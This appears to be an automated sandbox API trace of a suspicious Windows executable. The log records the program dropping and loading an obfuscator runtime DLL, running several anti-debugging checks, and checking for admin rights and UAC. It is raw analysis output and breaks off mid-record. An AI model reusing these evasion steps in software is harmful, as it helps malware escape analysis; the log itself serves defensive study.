# Flog Txt Version 1 # Analyzer Version: 3.0.1 # Analyzer Build Date: Mar 27 2019 12:34:34 # Log Creation Date: 02.04.2019 12:03:43.046 Process: id = "1" image_name = "gblyrzexggw.exe" filename = "c:\\users\\whuoxysd\\desktop\\gblyrzexggw.exe" page_root = "0x52c47000" os_pid = "0x15c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\WhuOXYsD\\Desktop\\gblyrzexggw.exe\" " cur_dir = "C:\\Users\\WhuOXYsD\\Desktop\\" os_username = "EGLAFTB1N8YA\\WhuOXYsD" os_groups = "EGLAFTB1N8YA\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e60b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x8e0 [0016.766] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0017.904] GetCurrentProcess () returned 0xffffffff [0017.905] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee6d4 | out: TokenHandle=0x3ee6d4*=0x1f0) returned 1 [0018.081] CoTaskMemAlloc (cb=0x20c) returned 0x5658b8 [0018.081] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x5658b8 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\") returned 0x25 [0018.082] CoTaskMemFree (pv=0x5658b8) [0018.082] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x3ee240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0018.086] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\", nBufferLength=0x105, lpBuffer=0x3ee230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\", lpFilePart=0x0) returned 0x4a [0018.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee618) returned 1 [0018.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e"), fInfoLevelId=0x0, lpFileInformation=0x3ee694 | out: lpFileInformation=0x3ee694*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0018.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee614) returned 1 [0018.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee618) returned 1 [0018.088] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e"), fInfoLevelId=0x0, lpFileInformation=0x3ee694 | out: lpFileInformation=0x3ee694*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0018.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee614) returned 1 [0018.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee618) returned 1 [0018.088] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp"), fInfoLevelId=0x0, lpFileInformation=0x3ee694 | out: lpFileInformation=0x3ee694*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x357720c0, ftCreationTime.dwHighDateTime=0x1d31be6, ftLastAccessTime.dwLowDateTime=0x24c44d90, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0x24c44d90, ftLastWriteTime.dwHighDateTime=0x1d4e94c, nFileSizeHigh=0x0, nFileSizeLow=0xc000)) returned 1 [0018.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee614) returned 1 [0018.090] CreateDirectoryW (lpPathName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e"), lpSecurityAttributes=0x0) returned 1 [0018.094] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", nBufferLength=0x105, lpBuffer=0x3ee230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpFilePart=0x0) returned 0x5b [0018.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee690) returned 1 [0018.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\agiledotnetrt.dll"), fInfoLevelId=0x0, lpFileInformation=0x3ee70c | out: lpFileInformation=0x3ee70c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0018.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee68c) returned 1 [0018.098] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", nBufferLength=0x105, lpBuffer=0x3ee15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpFilePart=0x0) returned 0x5b [0018.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee650) returned 1 [0018.098] CreateFileW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\agiledotnetrt.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1f4 [0018.098] GetFileType (hFile=0x1f4) returned 0x1 [0018.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee64c) returned 1 [0018.098] GetFileType (hFile=0x1f4) returned 0x1 [0018.102] WriteFile (in: hFile=0x1f4, lpBuffer=0x3f254d0*, nNumberOfBytesToWrite=0x218930, lpNumberOfBytesWritten=0x3ee6e8, lpOverlapped=0x0 | out: lpBuffer=0x3f254d0*, lpNumberOfBytesWritten=0x3ee6e8*=0x218930, lpOverlapped=0x0) returned 1 [0018.137] CloseHandle (hObject=0x1f4) returned 1 [0018.170] ConvertStringSidToSidW () returned 0x1 [0018.171] LocalFree (hMem=0x569cb0) returned 0x0 [0018.195] GetNamedSecurityInfoW () returned 0x0 [0018.676] GetSecurityDescriptorLength (pSecurityDescriptor=0x5658b8) returned 0x98 [0018.678] LocalFree (hMem=0x5658b8) returned 0x0 [0018.684] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", nBufferLength=0x105, lpBuffer=0x3ee230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpFilePart=0x0) returned 0x5b [0018.685] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", nBufferLength=0x105, lpBuffer=0x3ee1a4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpFilePart=0x0) returned 0x5b [0018.697] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", nBufferLength=0x105, lpBuffer=0x3ee248, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpFilePart=0x0) returned 0x5b [0018.698] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", nBufferLength=0x105, lpBuffer=0x3ee190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpFilePart=0x0) returned 0x5b [0018.698] SetNamedSecurityInfoW () returned 0x0 [0018.705] LoadLibraryA (lpLibFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll") returned 0x71c00000 [0019.509] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x769a0000 [0019.509] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76d60000 [0019.510] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x771a0000 [0019.510] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77de0000 [0019.510] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75c10000 [0021.698] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x77360000 [0021.724] GetProcAddress (hModule=0x769a0000, lpProcName="SetLastError") returned 0x769b11a9 [0021.727] GetCurrentThreadId () returned 0x8e0 [0021.727] OpenThread (dwDesiredAccess=0x1f03ff, bInheritHandle=0, dwThreadId=0x8e0) returned 0x230 [0021.727] GetProcessHeap () returned 0x510000 [0021.727] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x208) returned 0x565f50 [0021.728] GetProcessHeap () returned 0x510000 [0021.728] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x575a80 [0021.728] GetProcessHeap () returned 0x510000 [0021.728] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x208) returned 0x575fa0 [0021.728] GetProcessHeap () returned 0x510000 [0021.728] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x575a98 [0021.728] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x575fa0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0021.728] GetModuleFileNameW (in: hModule=0x71c00000, lpFilename=0x565f50, nSize=0x104 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\agiledotnetrt.dll")) returned 0x5b [0021.728] SetCurrentDirectoryW (lpPathName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e")) returned 1 [0021.729] GetUserDefaultUILanguage () returned 0x409 [0021.729] GetProcessHeap () returned 0x510000 [0021.729] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1000) returned 0x5765e8 [0021.730] GetProcessHeap () returned 0x510000 [0021.730] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x575ab0 [0021.731] GetCommandLineA () returned="\"C:\\Users\\WhuOXYsD\\Desktop\\gblyrzexggw.exe\" " [0021.731] GetVersion () returned 0x1db10106 [0021.732] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x71da958a) returned 0x575ac8 [0021.732] RaiseException (dwExceptionCode=0xc000008e, dwExceptionFlags=0x0, nNumberOfArguments=0x0, lpArguments=0x0) [0021.734] RtlRemoveVectoredExceptionHandler () returned 0x1 [0021.735] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0021.735] GetCurrentProcess () returned 0xffffffff [0021.735] CheckRemoteDebuggerPresent (in: hProcess=0xffffffff, pbDebuggerPresent=0x3ee338 | out: pbDebuggerPresent=0x3ee338) returned 1 [0021.736] GetCurrentThread () returned 0xfffffffe [0021.736] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=1, TokenHandle=0x71dda656 | out: TokenHandle=0x71dda656*=0x0) returned 0 [0021.736] GetCurrentProcess () returned 0xffffffff [0021.736] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x71dda656 | out: TokenHandle=0x71dda656*=0x1c) returned 1 [0021.736] GetTokenInformation (in: TokenHandle=0x1c, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x71c9f8a9 | out: TokenInformation=0x0, ReturnLength=0x71c9f8a9) returned 0 [0021.737] VirtualAlloc (lpAddress=0x0, dwSize=0x118, flAllocationType=0x1000, flProtect=0x4) returned 0x2d0000 [0021.737] GetTokenInformation (in: TokenHandle=0x1c, TokenInformationClass=0x2, TokenInformation=0x2d0000, TokenInformationLength=0x118, ReturnLength=0x71c9f8a9 | out: TokenInformation=0x2d0000, ReturnLength=0x71c9f8a9) returned 1 [0021.737] CloseHandle (hObject=0x1c) returned 1 [0021.737] AllocateAndInitializeSid (in: pIdentifierAuthority=0x71c96d48, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x71c46164 | out: pSid=0x71c46164*=0x575ac8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0021.737] EqualSid (pSid1=0x575ac8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x2d0064*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x7e))) returned 0 [0021.737] EqualSid (pSid1=0x575ac8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x2d006c*(Revision=0x15, SubAuthorityCount=0x0, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x7e, [3]=0x8, [4]=0xe3, [5]=0xc2), SubAuthority=0x25aadb80)) returned 0 [0021.737] EqualSid (pSid1=0x575ac8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x2d0074*(Revision=0x80, SubAuthorityCount=0xdb, IdentifierAuthority.Value=([0]=0xaa, [1]=0x25, [2]=0x57, [3]=0x84, [4]=0x5d, [5]=0xa5), SubAuthority=([0]=0x1, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x1, [5]=0x1, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x1, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x1, [17]=0x2, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x5, [24]=0x20, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x20, [29]=0x2, [30]=0x0, [31]=0x0, [32]=0x1, [33]=0x2, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x5, [40]=0x20, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x21, [45]=0x2, [46]=0x0, [47]=0x0, [48]=0x1, [49]=0x1, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x5, [56]=0x4, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x1, [61]=0x1, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x2, [68]=0x1, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x1, [73]=0x1, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x5, [80]=0xb, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x1, [85]=0x1, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x5, [92]=0xf, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x1, [97]=0x3, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x5, [104]=0x5, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0xb, [113]=0xe6, [114]=0x0, [115]=0x0, [116]=0x1, [117]=0x1, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x2, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x1, [129]=0x2, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x5, [136]=0x40, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0xa, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x1, [145]=0x1, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x10, [152]=0x0, [153]=0x30, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0))) returned 0 [0021.737] EqualSid (pSid1=0x575ac8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x2d007c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x1, [3]=0x1, [4]=0x0, [5]=0x0), SubAuthority=([0]=0x0, [1]=0x0))) returned 0 [0021.737] EqualSid (pSid1=0x575ac8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x2d0084*(Revision=0x0, SubAuthorityCount=0x0, IdentifierAuthority.Value=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0), SubAuthority=0x201)) returned 0 [0021.737] EqualSid (pSid1=0x575ac8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x2d008c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0021.737] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0021.738] GetProcAddress (hModule=0x75c10000, lpProcName="IsUserAnAdmin") returned 0x75c644f5 [0021.738] IsUserAnAdmin () returned 1 [0021.738] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x71d3a440 | out: phkResult=0x71d3a440*=0x238) returned 0x0 [0021.739] RegQueryValueExA (in: hKey=0x238, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x0, lpData=0x71cf62f3, lpcbData=0x71dcc469*=0x4 | out: lpType=0x0, lpData=0x71cf62f3*=0x1, lpcbData=0x71dcc469*=0x4) returned 0x0 [0021.739] RegCloseKey (hKey=0x238) returned 0x0 [0021.740] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x3ee330, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x3ee330, ReturnLength=0x0) returned 0x0 [0021.740] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x3ee330, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x3ee330, ReturnLength=0x0) returned 0xc0000353 [0021.740] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x1000, flProtect=0x4) returned 0x2d0000 [0021.740] GetCurrentThread () returned 0xfffffffe [0021.740] GetThreadContext (in: hThread=0xfffffffe, lpContext=0x2d0000 | out: lpContext=0x2d0000*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, 